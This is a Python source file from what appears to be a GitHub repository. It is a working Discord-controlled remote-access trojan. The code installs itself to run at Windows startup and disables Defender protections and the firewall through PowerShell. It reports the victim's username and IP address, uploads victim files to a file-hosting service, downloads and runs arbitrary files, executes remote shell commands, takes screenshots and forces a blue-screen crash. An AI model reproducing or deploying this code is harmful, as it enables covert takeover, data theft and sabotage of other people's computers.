-
Notifications
You must be signed in to change notification settings - Fork 1
/
prysmax.py
278 lines (230 loc) · 9.64 KB
/
prysmax.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
import os
import discord
import requests
import subprocess
import ctypes
import sys
from mss import mss
login = os.getlogin()
client = discord.Client(intents=discord.Intents.all())
session_id = os.urandom(8).hex()
bot_token = "bot-token"
guild_id = "guild-id"
Disable_AV = False
startup_for = False
commands = "\n".join([
"help - Help Command",
"ping - Ping Command",
"cd - Change Directory",
"ls - List Directory",
"download <file> - Download File",
"upload <link> - Upload File",
"cmd - Execute CMD Command",
"run <file> - Run an File",
"screenshot - Take a Screenshot",
"blue - DeadScreen",
"exit - Exit The Session"
])
def startup(file_path=""):
startup_is = False
temp = os.getenv("TEMP")
bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % login
if file_path == "":
file_path = sys.argv[0]
with open(bat_path + '\\' + "Update.bat", "w+") as bat_file:
bat_file.write(r'start "" "%s"' % file_path)
startup_is = True
return startup_is
def disableav():
try:
subprocess.call("powershell.exe -command Add-MpPreference -ExclusionExtension .exe", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Add-MpPreference -ExclusionExtension .tmp", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -PUAProtection disable", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Add-MpPreference -ExclusionExtension .exe", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -DisableBlockAtFirstSeen $true", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -DisableIOAVProtection $true", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -DisablePrivacyMode $true", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -DisableArchiveScanning $true", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -DisableIntrusionPreventionSystem $true", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -DisableScriptScanning $true", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -MAPSReporting 0", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -HighThreatDefaultAction 6 -Force", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -LowThreatDefaultAction 6", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -SevereThreatDefaultAction 6", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command Set-MpPreference -ScanScheduleDay 8", shell=True)
except:
pass
try:
subprocess.call("powershell.exe -command netsh advfirewall set allprofiles state off", shell=True)
except:
pass
@client.event
async def on_ready():
guild = client.get_guild(int(guild_id))
if guild is None:
print("Invalid guild ID")
return
channel = discord.utils.get(guild.channels, name=session_id)
if channel is not None:
if startup_for == True:
startup_is = True
startup()
if Disable_AV == True:
disableav()
ip_address = requests.get("https://ipapi.co/json/").json()
data= ip_address['country_name'], ip_address['ip']
embed = discord.Embed(title="Session Reconnected!", description="", color=0xfafafa)
embed.add_field(name="Session ID", value=f"```{session_id}```", inline=True)
embed.add_field(name="Username", value=f"```{os.getlogin()}```", inline=True)
embed.add_field(name="IP Address", value=f"```{data}```", inline=True)
embed.add_field(name="Startup", value=f"```{startup_is}```", inline=True)
embed.add_field(name="Commands", value=f"```{commands}```", inline=False)
await channel.send(embed=embed)
else:
channel = await guild.create_text_channel(session_id)
startup_is = startup()
ip_address = requests.get("https://ipapi.co/json/").json()
data= ip_address['country_name'], ip_address['ip']
embed = discord.Embed(title="New session created", description="", color=0xfafafa)
embed.add_field(name="Session ID", value=f"```{session_id}```", inline=True)
embed.add_field(name="Username", value=f"```{os.getlogin()}```", inline=True)
embed.add_field(name="IP Address", value=f"```{data}```", inline=True)
embed.add_field(name="Startup", value=f"```{startup_is}```", inline=True)
embed.add_field(name="Commands", value=f"```{commands}```", inline=False)
await channel.send(embed=embed)
@client.event
async def on_message(message):
if message.author == client.user:
return
if message.channel.name != session_id:
return
if message.content == "help":
embed = discord.Embed(title="Help", description=f"```{commands}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content == "ping":
embed = discord.Embed(title="Ping", description=f"```{round(client.latency * 1000)}ms```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("cd"):
directory = message.content.split(" ")[1]
try:
os.chdir(directory)
embed = discord.Embed(title="Changed Directory", description=f"```{os.getcwd()}```", color=0xfafafa)
except:
embed = discord.Embed(title="Error", description=f"```Directory Not Found```", color=0xfafafa)
await message.reply(embed=embed)
if message.content == "ls":
files = "\n".join(os.listdir())
if files == "":
files = "No Files Found"
embed = discord.Embed(title=f"Files > {os.getcwd()}", description=f"```{files}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("download"):
file = message.content.split(" ")[1]
try:
server = requests.get("https://api.gofile.io/getServer").json()["data"]["server"]
link = requests.post(f"https://{server}.gofile.io/uploadFile", files={"file": open(file, "rb")}).json()["data"]["downloadPage"]
embed = discord.Embed(title="Download", description=f"```{link}```", color=0xfafafa)
await message.reply(embed=embed)
except:
embed = discord.Embed(title="Error", description=f"```File Not Found```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("upload"):
link = message.content.split(" ")[1]
file = requests.get(link).content
with open(os.path.basename(link), "wb") as f:
f.write(file)
embed = discord.Embed(title="Upload", description=f"```{os.path.basename(link)}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("shell"):
command = message.content.split(" ")[1]
output = subprocess.Popen(
["powershell.exe", command], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE
).communicate()[0].decode("utf-8")
if output == "":
output = "No output"
embed = discord.Embed(title=f"Shell > {os.getcwd()}", description=f"```{output}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("run"):
file = message.content.split(" ")[1]
subprocess.Popen(file, shell=True)
embed = discord.Embed(title="Started", description=f"```{file}```", color=0xfafafa)
await message.reply(embed=embed)
if message.content.startswith("exit"):
await message.channel.delete()
await client.close()
# if message.content.startswith("startup"):
# await message.reply("Done Boss")
# await startup()
if message.content.startswith("blue"):
await message.reply("Attempting...", delete_after = .1)
ntdll = ctypes.windll.ntdll
prev_value = ctypes.c_bool()
res = ctypes.c_ulong()
ntdll.RtlAdjustPrivilege(19, True, False, ctypes.byref(prev_value))
if not ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(res)):
await message.reply("Blue Successful!")
else:
await message.reply("Blue Failed! :(")
if message.content.startswith("screenshot"):
with mss() as sct:
screenshot = sct.shot(output=os.path.join(os.getenv("TEMP"), "screenshot.png"))
file_path = os.path.join(os.getenv("TEMP"), "screenshot.png")
file = discord.File(file_path)
embed = discord.Embed(title="Screenshot", color=0xfafafa)
embed.set_image(url="attachment://screenshot.png")
await message.reply(embed=embed, file=file)
client.run(bot_token)